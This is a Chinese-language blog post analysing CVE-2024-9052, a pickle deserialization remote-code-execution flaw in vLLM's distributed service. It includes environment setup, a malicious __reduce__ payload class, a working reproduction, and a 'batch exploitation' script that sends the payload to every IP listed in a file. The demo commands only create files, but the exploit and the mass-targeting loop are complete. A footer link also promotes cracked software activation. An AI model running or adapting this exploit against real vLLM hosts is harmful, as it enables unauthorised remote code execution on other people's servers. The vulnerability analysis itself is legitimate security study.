首页 > 其他分享 >【AI安全漏洞】VLLM反序列化漏洞分析与保姆级复现(附批量利用)

【AI安全漏洞】VLLM反序列化漏洞分析与保姆级复现(附批量利用)

时间:2024-12-18 23:53:47浏览次数:3  
标签:__ vllm 序列化 AI distributed init world VLLM

#CVE-2024-9052

环境需要

Linux(这里使用kali)、Anaconda

首先安装Anaconda

前言

最好使用linux,如果使用windows可能会产生各种报错(各种各种各种!!!),最好使用Anaconda,方便独立管理虚拟机

使用conda创建虚拟机、python要求3.10

conda create -n vllm_beam python=3.10 -y

启动该虚拟机

conda activate vllm_beam

安装vllm

pip3 install https://github.com/vllm-project/vllm/releases/download/v0.6.4.post1/vllm-0.6.4.post1+cu118-cp38-abi3-manylinux1_x86_64.whl --extra-index-url https://download.pytorch.org/whl/cu118 -i https://pypi.tuna.tsinghua.edu.cn/simple

在安装vllm的时候,虚拟机磁盘剩余空间最好大点,至少6个G如果不够可能会报错

No space left on device //设备上没有空间

可以找一个有足够空间的目录

然后执行命令 就可以重新安装了

export TMPDIR=/home

漏洞介绍

VLLM(Virtual Large Language Model)是一种旨在提升大型语言模型(LLM)推理效率的先进系统。其核心目标是通过降低计算成本和提升处理速度,来加快 LLM 在推理阶段的表现。传统的 LLM 推理通常需要消耗大量的计算资源和时间,特别是在硬件资源有限的环境中,性能瓶颈显得尤为突出。而 VLLM 采用了创新的架构设计,通过优化内存管理和计算流程,能够在不牺牲模型准确性的前提下,显著提高推理速度,使得推理过程变得更加高效和灵活。VLLM是被用于LLM推理和服务的工具库,因此与大模型密切相关

CVE编号:CVE-2024-9052

目前该CVE以及被保留,访问已经看不到了:https://nvd.nist.gov/vuln/detail/CVE-2024-9052,不知道具体的原因

影响版本:(-∞, 0.6.4.post1)

https://github.com/vllm-project/vllm/tree/main

也就是说目前是直接影响的全版本、通杀

漏洞原理

vllm开启分布式服务时,未对接收的序列化对象进行相应的校验、过滤,导致攻击者可以向vllm分布式服务发送恶意序列化对象造成RCE

漏洞方法如下

vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

在recv_object方法中,使用了pickle.loads()对接收到的对象数据进行直接的反序列化 如图

pickle是python的一个进行序列化和反序列化的库,常见函数如下

//序列化 将Python对象转换成json字符串
pickle.dump()
pickle.dumps()
//反序列化 将json字符串转换成Python对象
pickle.load()
pickle.loads()

而模式方法会在一些特定的时候被执行,例如这里用到的__reduce__,使用pickle.loads()进行反序列化时,会自动调用魔术方法__reduce__,因此在该方法中直接返回执行恶意指令,造成RCE。于是构造以下恶意的类。

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch /tmp/hacked",))

复现过程

首先本地启动一个vllm分布式服务(作为攻击目标),默认端口是29500,使用recv_object方法接收客户端发送过来的对象

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

init_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500", rank=1, world_size=2)
vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

忽略警告

攻击机执行以下代码 发送恶意的序列化对象

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch 1.txt",))


init_distributed_environment(backend="gloo", distributed_init_method="tcp://127.0.0.1:29500", rank=0, world_size=2)
vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

结果如下

批量漏洞利用脚步(后台回复20241213可获得)

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch CVE-2024-9052.txt",))

def getip(file_path):
    ips = []
    with open(file_path, 'r') as file:
        for line in file:
            ip = line.strip()
            if ip:
                ips.append(ip)
    return ips

ips = getip("ips.txt")
for ip in ips:
    print(ip)
    target = "tcp://" + ip
    init_distributed_environment(backend="gloo", distributed_init_method=target, rank=0, world_size=2)
    vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

原创 Ting的安全笔记

标签:__,vllm,序列化,AI,distributed,init,world,VLLM
From: https://www.cnblogs.com/o-O-oO/p/18616075

相关文章

  • 企业如何快速搭建大模型?2024中国AI大模型行业案例资源【限时分享】
    AI大模型行业正处于快速发展阶段,其技术进步和应用场景的不断拓展不仅为企业带来了新的发展机遇,也为社会经济发展注入了新动能。面对这一变革,企业和个人都需要积极适应变化,抓住机遇,共同推动AI大模型行业的健康发展。为了帮助大家更快的了解和掌握大模型,今天给大家推荐一份非......
  • 【建议收藏】最新版IDEA2024.3及 AI Assistant 一键激活到2099
    成功永久激活一、支持的IDE和版本支持JB家族所有IDE激活支持版本为2021.3~2024.1二、如何破解激活第一步:激活工具下载为了防止破解工具被删除,通过公众号回复“「永久激活」”获取下载最新工具(如过期,请记得提醒我哦)关注公众号后台回复“「永久激活」”,获取最新激活工具和......
  • 虚拟机unraid系统安装
    首先下载unraid文件https://unraid.net/getting-startedwindows系统使用vmware虚拟机创建虚拟机过程中注意usb的不同协议2.03.0由于unraid系统只能识别fat32协议的文件系统,因此需要将u盘格式化可以使用easeus或者傲梅https://www.easeus.com/partition-manager/https://......
  • 直播预告:OpenAI 开始拥抱 RTC!为什么 LLM+RTC 才是多模态 AI 的未来?丨RTE Dev Talk
      如果您正在开发具备语音对话、视觉理解等多模态能力的AIAgent,请加入我们的直播讨论! OpenAI今日发布了OpenAIRealtimeAPI的重大更新,其中包括价格下调、新增模型以及一项尤为重要的改进:WebRTC支持。结合此前WebRTC创建者加入OpenAI的消息,这清晰地表明OpenA......
  • PDFMathTranslate 一个基于AI优秀的PDF论文翻译工具
    PDFMathTranslate是一个设想中的工具,旨在翻译PDF文档中的数学内容。以下是这个工具的主要特点和使用方法:功能特点数学公式识别:利用先进的OCR(光学字符识别)技术,精准识别PDF文档中的数学公式和文本内容。多语言翻译:支持多种语言的翻译,包括对数学符号和公式的准确翻译。格式......
  • 2024.12.18做题,对AI的提问记录,拓扑排序和图的关键活动
    什么是拓扑排序拓扑排序(TopologicalSorting)是一种用于有向无环图(DAG,DirectedAcyclicGraph)的线性排序。对于图中的每一个有向边u->v,顶点u在排序中都出现在顶点v之前。拓扑排序可以用于解决依赖关系的问题,例如任务调度、编译顺序等。拓扑排序的常见算法有两种:Kahn's......
  • Cheese Aizu - 0558 (BFS)
    题目链接:https://vjudge.net/problem/Aizu-0558#author=GPT_zh题意:给你一个h*w的矩阵,(.代表空地。X代表障碍物,数字1~n分别代表n个不同的cheese)老鼠从起始位置S开始,挨个去找和它能力值(power)相等的cheese去吃,输出吃完n个cheese所需要的步长。思路:BFS搜索,即先找和power相同的c......
  • OpenAI Realtime API 升级,集成 WebRTC 且降价 60%;豆包发布视觉理解模型,实时语音模型也
     开发者朋友们大家好: 这里是「RTE开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享RTE(Real-TimeEngagement)领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「有看点的会议」,但内容仅代表编辑的个......
  • 免费设计Logo的新神器Slea.ai
    作为一名注重品牌形象的创作者或企业主,你是否苦于设计一款专业又独特的Logo?今天我要向大家推荐一个超级实用的网站——Slea.ai,它是一款免费的AILogo生成器,能够轻松助你在短短几分钟内设计出专属的Logo!作为一名企业主、创作者或活动策划者,你是否在寻找一种简单、高效的方法来设计......
  • 通俗的语言对AI Agent技术进行非常详细描述
    为了方便理解,我会用非常通俗的语言来描述,并从头到尾都力争做到透彻、易懂。在介绍过程中,我会穿插5个非常接地气的真实案例,让大家通过这些案例感受到AIAgent技术是如何在现实中发挥作用的。除此之外,我还会展望未来,谈谈这种技术还会在哪些应用领域实现突破,以及可能给我们的生活......